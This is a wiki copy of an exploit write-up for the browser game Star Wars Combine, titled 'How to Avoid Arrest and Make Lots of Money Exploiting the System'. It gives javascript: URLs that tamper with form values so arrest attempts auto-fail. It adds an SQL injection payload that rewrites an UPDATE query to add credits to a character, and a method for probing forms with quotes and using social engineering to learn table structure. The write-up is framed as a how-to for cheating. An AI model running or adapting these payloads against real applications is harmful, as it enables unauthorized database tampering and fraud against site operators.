How to Avoid Arrest and Make Lots of Money Exploiting the System.

=="How to Avoid Arrest and Make Lots of Money Exploiting the System"==
==-- Step One: Set Defaults==
Go here:
http://www.swcombine.com/members/faction/index.php?mode=arrestPreferences
Set your Default In Faction and default OOF
arrestPreference to 'fight'. Set all of the 'factions'
defaults to 'default'.
Submit and go there again.
==-- Step Two: ==
Click "None" for both radio boxes. 
Notice that the radioboxes dump straight into the
database, with no addslashes or anything...
==-- Step Three:==
Be uber about changing the values of the checkboxes,
by using everybodies favourite Language...
Type Copy and paste this into the location bar of the
window:
javascript:document.arrestPreferences.ownFaction[0].value="Blah";document.arrestPreferences.otherFaction[0].value="Blah";document.arrestPreferences.submit();
==-- Step Four: ==
Don't touch it anymore!
Because of a lack of a 'default' option in the
skillcheck function, anybody trying to arrest me will
end up with a auto failure. 
==-- Step Five: Extension==
From this we see that there is no error checking on
the input to the function, the value of ownFaction[0]
gets dumped straight into the DB. 
By Modifying the JS to:
javascript:document.arrestPreferences.ownFaction[0].value="Blah',credits=credits+10,arrestDefaultOOF='Blah";document.arrestPreferences.otherFaction[0].value="Blah";document.arrestPreferences.submit();
This will mean:
$setting becomes:
Blah',credits=credits+10,arrestDefaultOOF='Blah
In the query:
UPDATE characters SET arrestDefaultOwn='$setting'
WHERE characterID=$character->characterID
Which becomes:
UPDATE characters SET arrestDefaultOwn='Blah',credits=credits+10,arrestDefaultOOF='Blah'
WHERE characterID=$character->characterID
==-- Refuting the claim that this requires knowledge of the source==
I frequently test out the security of forms by randomly changing the values that they have,
and watching the results. A good test is this: Change the value to include both ' and ", and
if on the next page, a MySQL error occours, you've got a security problem.
If an error occours, it indicates one of two things: 
-- The input isn't slashed
-- The code behind it has some problems
As long as it works when in normal use, then we know that the code isn't slashed. Now poses the
problem to find out what the actual SQL looks like, without knowing from behind. Social 
Engineering is used here, either asking people who would know what tables it runs on, and collecting
basic info from the errors displayed to get a basic schematic of the table. In this case, you can
see that it runs on the characters database, and you can use the bugbase to find out information about 
the characters database structure. From there, you can craft your exploit. 
The javascript may seem like that it is odd that anybody would try such an odd situation, but no,
all the javascript does is allow anybody to use the exploit. In reality, I use a firefox extension 
[Webdeveloper] to change the values for me. When I need to show somebody how to do it themselves, 
I create the Javascript by hand, in reality, it takes me two seconds to change a value, and anybody
could do it. 
Written By: Clarr Solo. Source: http://dev.swsimulation.com/csolo/other/exploit.html
Category:Files